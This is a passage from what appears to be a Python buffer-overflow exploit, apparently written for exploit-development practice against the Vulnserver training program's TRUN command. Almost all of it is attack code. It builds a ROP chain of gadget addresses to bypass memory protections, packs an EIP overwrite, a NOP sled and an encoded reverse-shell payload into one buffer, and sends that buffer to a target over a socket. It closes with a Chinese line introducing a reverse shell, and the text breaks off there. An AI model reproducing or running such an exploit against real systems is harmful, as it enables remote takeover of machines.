+= struct.pack("<L" , 0x758fe636 ) rop1 += struct.pack("<L" , 0x772f4302 ) rop1 += struct.pack("<L" , 0x749f4480 ) rop1 += struct.pack("<L" , 0x749f4480 ) rop1 += struct.pack("<L" , 0x754e2d6d ) rop1 += struct.pack("<L" , 0x74a01e84 ) rop1 += struct.pack("<L" , 0x74a01e84 ) rop1 += struct.pack("<L" , 0x74a01e84 ) rop1 += struct.pack("<L" , 0x74a01e84 ) rop1 += struct.pack("<L" , 0x772a5a6f ) rop1 += struct.pack("<L" , 0xfffffdf4 ) rop1 += struct.pack("<L" , 0x772a9052 ) rop1 += struct.pack("<L" , 0x758f15ce ) rop1 += struct.pack("<L" , 0x772a9052 ) rop1 += struct.pack("<L" , 0x754e2d6d ) rop1 += struct.pack("<L" , 0x772f4302 ) rop1 += struct.pack("<L" , 0x74a01e84 ) rop1 += struct.pack("<L" , 0x74a01e84 ) rop1 += struct.pack("<L" , 0x76068122 ) rop1 += struct.pack("<L" , 0x758cc157 ) rop1 += struct.pack("<L" , 0x62506090 ) rop1 += struct.pack("<L" , 0x75fd7518 ) rop1 += struct.pack("<L" , 0x772a9052 ) rop1 += struct.pack("<L" , 0x7557771b ) rop1 += struct.pack("<L" , 0xfffd9df0 ) rop1 += struct.pack("<L" , 0x758f15ce ) rop1 += struct.pack("<L" , 0x75515163 ) rop1 += struct.pack("<L" , 0x772a9052 ) rop1 += struct.pack("<L" , 0x76068122 ) rop1 += struct.pack("<L" , 0x754e2d6d ) rop1 += struct.pack("<L" , 0x7730e63c ) rop1 += struct.pack("<L" , 0x75f84c67 ) rop1 += struct.pack("<L" , 0x772a5a6f ) rop1 += struct.pack("<L" , 0xfffffd78 ) rop1 += struct.pack("<L" , 0x772974e4 ) rop1 += decodeShellcode(0 , pos, shellcode) rop1 += struct.pack("<L" , 0x7730e63c ) rop1 += struct.pack("<L" , 0x749f2002 ) padding = b"\x44" * 1000 PAYLOAD = ( b'TRUN .' + b'A' * (2006 -len(func)) + func + eip + rop1 + b"\x90" *80 + encodedRevShell+ padding ) with socket.create_connection((HOST, PORT)) as fd: fd.sendall(PAYLOAD) if __name__ == "__main__" : main()
喜闻乐见的反弹shell如下: